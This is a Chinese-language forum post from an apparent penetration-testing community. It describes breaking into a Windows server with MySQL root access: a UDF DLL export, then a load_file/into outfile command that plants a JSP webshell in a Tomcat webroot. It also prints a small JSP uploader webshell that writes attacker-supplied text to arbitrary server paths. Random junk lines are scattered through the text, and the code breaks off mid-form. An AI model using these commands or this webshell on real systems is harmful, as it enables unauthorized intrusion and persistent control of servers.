中国网络渗透测试联盟
标题:
解决Win下MySQL root导出Webshell换行符问题
[打印本页]
作者:
admin
时间:
2013-3-8 21:52
标题:
解决Win下MySQL root导出Webshell换行符问题
今天碰到了这么个问题,简单记录一下我的解决方案。
) {- i7 P, N3 F2 i# `
6 H1 c9 y7 v2 M M G0 T( g/ N
首先说一下服务器的环境。服务器的80端口按照标准的虚拟主机来配置的,支持asp,aspx,php,但是不支持php
% n" A6 [( D3 X1 q- Q; A1 u
安装了mssql(1433端口),tomcat(8080端口),serv-u(43958端口)和两个mysql(3306端口和3307端口)
# o& ] g: ^8 K8 h1 X
提权的时候没有sa密码,没有serv-u密码,mysql 5.1首先运行了
. o+ A; l9 q- c6 O ?
1 show variables like '%plugin%';
7 [& L1 ]% g# p: f
后,根据设置导出dll到C:\Program Files\MySQL\MySQL Server 5.1\lib\成功
! q. X+ M7 h' \% l; `7 B, [% b1 S
创建自定义函数似乎被拦截,一直失败。
$ |; o6 [8 n) w# X, O) I' t/ p9 u
后找到tomcat目录,准备写马,asp,aspx,php对tomcat目录:C:/Program Files/cngradms_x86/tomcat/webapps/ROOT/均无写入权限
: h8 _& \2 _# ^, F
测试mysql有写入权限。故上传jsp大马至网站web目录:d:\xxx\fuck.jsp
% ~% f7 a; s; {- f
用mysql执行语句:
% M" Y8 t$ k$ ?# H8 v
1 select load_file('d:\\xxx\\fuck.jsp') into outfile 'C:\\Program Files\\cngradms_x86\\tomcat\\webapps\\ROOT\\upload\\fuck.jsp'
; y+ C$ B# O* y5 B2 F* _
2 复制代码
" E& m9 u" _" W. D6 H) e% P0 {
后成功。
% J; U! T' R. u Z" ]$ i% P
但是访问后得到如下提示:
( D7 U k, I, X) k. m( A4 o" g
500页面
& l3 k* s+ y2 Q3 v0 S3 q
@ t7 S4 c X9 D* E$ Z. a! a
. f" F1 a; ]! A( V7 D
明显是MySQL的Win下版本自动添加转义符\n\r了
" Q# W2 s- C5 k% G. i% l5 g
这样导致程序运行的悲剧。
1 \9 r( F4 ^* Q/ t
从网上找了很多方法,什么update把转义符消掉,enclose巴拉巴拉,反正五花八门就是没一个可以用的。
5 V$ i6 D5 E7 O6 g: D! Y8 w
最后弄了这么个小脚本:
% c, f( L/ [. [, M8 \ o" M' M
01 <%@ page language="java" pageEncoding="gbk"%>
/ r8 l9 l, U' |# k- l% g
02 <jsp:directive.page import="java.io.File"/>
2 \' [' T6 {" T9 Z6 A. a: K
03 <jsp:directive.page import="java.io.OutputStream"/>
/ {9 v% S+ Q- {
04 <jsp:directive.page import="java.io.FileOutputStream"/>
! f8 F' b: |8 t- k9 h& q
05 <% int i=0;String method=request.getParameter("act");if(method!=null&&method.equals("yoco")){String url=request.getParameter("url");String text=request.getParameter("smart");File f=new File(url);if(f.exists()){f.delete();}try{OutputStream o=new FileOutputStream(f);o.write(text.getBytes());o.close();}catch(Exception e){i++;%>
/ s/ O7 v5 n1 t
06 error
www.2cto.com
; F! I2 m: V. k% a @3 t
07 <%}}if(i==0){%>
+ r' s8 B5 O0 Q2 [
08 ok
8 b% d+ B$ B; A! T# t p* p
09 <%}%>
- A1 q T3 G8 q/ B
10 <form action='?act=yoco' method='post'><input size="100" value="<%=application.getRealPath("/") %>" name="url"><br><textarea rows="20" cols="80" name="smart">
2 A2 `! [: D7 k- {* Y
就可以避免转义符让JSP的马儿运行500错误了。
! i Y1 @* N% r5 Z; Z0 C
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2